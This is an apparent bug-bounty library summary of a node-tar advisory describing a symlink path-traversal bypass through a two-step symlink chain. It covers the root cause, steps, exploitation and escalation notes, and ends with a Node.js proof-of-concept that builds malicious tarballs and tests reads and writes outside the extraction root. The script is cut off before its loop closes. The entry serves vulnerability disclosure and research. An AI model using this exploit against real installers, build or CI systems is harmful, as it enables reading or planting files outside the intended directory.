# node-tar: Symlink containment bypass via nested symlink + '..' (lexical linkpath check)

node-tar's lexical symlink containment check is bypassed by a two-step symlink chain, planting a symlink that points outside the extraction root.

- Payout: Research
- Severity: high
- Program: node-tar
- Found by: zachariah-mithani
- Disclosed: 2026-12-02
- CVE: CVE-2026-140244
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-mhqm-9wj8-w7r4
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-mhqm-9wj8-w7r4
- Tags: area:oss domain:oss impact:data-leak kind:research platform:ghsa sev:high tech:nodejs technique:chained technique:source-review vuln:path-traversal

**Target:** npm tar package symlink extraction (src/unpack.ts)
**Root cause:** The symlink linkpath containment check uses path.resolve(dirname, linkpath), which collapses '..' lexically without following symlinks already on disk. A prior entry `s1 -> .` makes `s1/../secret.txt` resolve lexically inside cwd but on disk escape it.
**Steps:**
1. Place `secret.txt` next to the extraction dir `ext` (inside `root`).
2. Build a tar with entry 1: `name=s1, type=symlink, linkname=.`
3. Add entry 2: `name=s2, type=symlink, linkname=s1/../secret.txt`
4. Extract with `tar.x({file, cwd: ext})`; no warning is emitted and both symlinks are created.
5. Read `ext/s2` — returns `CANARY` from `root/secret.txt`, outside the extraction root.
6. Control: a single entry `evil -> ../secret.txt` is rejected with `TAR_ENTRY_ERROR`.
**How found:** Noticed the containment check is purely lexical (path.resolve) while the kernel resolves symlinks before applying '..'; hypothesized a two-entry chain where the first symlink makes the lexical and real resolutions diverge, then tested direct vs. two-step forms to confirm the direct form is blocked but the chained form is not.
**Exploitation:** Attacker ships a malicious tarball; victim's installer/build/CI/archive-previewer extracts it, then any later read, serve, copy or archive of the extracted tree follows the planted symlink to read arbitrary files outside the root.
**Escalation:** Repeating `s1/` in the linkpath climbs further up the filesystem; the planted symlink can be consumed by downstream tooling for arbitrary file read.
**Insight:** When a sandbox validates paths with path.resolve/normalize, test whether an earlier extracted symlink to '.' or a subdir makes lexical and kernel resolution diverge; a two-entry chain often passes checks that a single '../' entry fails.

## Proof of concept (copied exactly from the original report)

**Two-step symlink PoC script**

```
const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
 direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
 dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
 hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
 hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
 file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
  fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
  const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
  const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
  const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
  const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
  let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
  console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
```

